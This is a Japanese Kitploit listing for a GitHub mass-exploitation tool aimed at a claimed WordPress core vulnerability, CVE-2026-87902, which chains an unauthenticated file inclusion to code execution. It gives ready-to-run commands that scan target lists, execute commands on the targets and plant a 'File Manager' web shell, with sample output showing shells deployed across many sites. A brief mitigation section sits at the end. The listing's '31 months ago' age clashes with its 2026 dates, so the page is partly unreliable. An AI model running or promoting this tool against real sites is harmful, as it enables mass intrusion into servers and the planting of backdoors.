Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — CVE-2026-87902 に対応する Python 製のマススキャナー兼エクスプロイト。WordPress コアの get_page_template() における未認証の LFI を、PEAR ガジェットチェーンと File Manager シェルを経由して RCE に昇格させるものです。 | Kitploit
ツール/GitHubGitHub/hackfutsecroot/cve-2026-87902
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストリモートアクセスツール
GitHubhackfutsecroot/cve-2026-87902

CVE-2026-87902

CVE-2026-87902 に対応する Python 製のマススキャナー兼エクスプロイト。WordPress コアの get_page_template() における未認証の LFI を、PEAR ガジェットチェーンと File Manager シェルを経由して RCE に昇格させるものです。

リポジトリを見る
31ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🎯 CVE-2026-87902 — WordPress Core LFI → RCE



🔍 概要 · ⚡ クイックスタート · 🎯 使い方 · 📊 出力 · 📞 お問い合わせ


🔍 概要

CVE-2026-87902 は、WordPress コアに存在する重大な 未認証のローカルファイルインクルージョン(LFI) 脆弱性であり、PEAR ガジェットチェーンを介して リモートコード実行(RCE) に至ります。

この脆弱性は wp-includes/template.php:get_page_template() に存在し、公開クエリ変数 pagename($_POST から読み取られる)を使用してテンプレート名を構築する際に、validate_file() を経由させていないことが原因です。locate_template() は file_exists() のみを実行するため、アクティブなテーマ内に実在する page-* ディレクトリがあれば、完全なパストラバーサルが可能になります。

🎯 攻撃チェーン

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ 影響を受けるバージョン

製品脆弱なバージョン修正済みバージョン
WordPress Core4.7.0 → 7.1.17.1.2+
深刻度🔴 CRITICAL—
CVSS 4.09.8—
認証❌ 不要—

⚡ クイックスタート

📦 インストール

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 初回実行

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 使用方法

📋 利用可能なモード

モード コマンド 説明
🔍 チェック python main.py -l targets.txt --check 非破壊的なLFI検出
💥 LFI python main.py -l targets.txt OPMLオラクルでLFIを確認
⚡ RCE python main.py -l targets.txt --rce --command "id" PEAR経由でコマンドを実行
📁 シェル python main.py -l targets.txt --rce --shell ファイルマネージャーをデプロイ

🔧 コマンドラインオプション

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 例

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 出力

正常に実行されると、以下のファイルが生成されます:

ファイル内容
📄 results.txt完全なスキャンログ
🎯 vulnerable.txtLFI が確認されたターゲット
💀 rce.txtRCE に成功したターゲット
📁 shells.txtファイルマネージャーの URL

🖥️ コンソール出力のサンプル

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ 緩和策

システム管理者の場合:

  1. WordPress を更新して 7.1.2 以降にする
  2. お使いのブランチにバックポートを適用する:
    • 6.8.10、7.0.6、7.1.2
  3. WAF ルール: ../ または %2e%2e を含む pagename を持つリクエストをブロックする
  4. php.ini で register_argc_argv を無効化する(PEAR チェーンをブロック)
  5. PEAR が不要な場合は pearcmd.php を削除する
; php.ini
register_argc_argv = Off

📞 お問い合わせ

🌐 私たちとつながる





ツールをダウンロード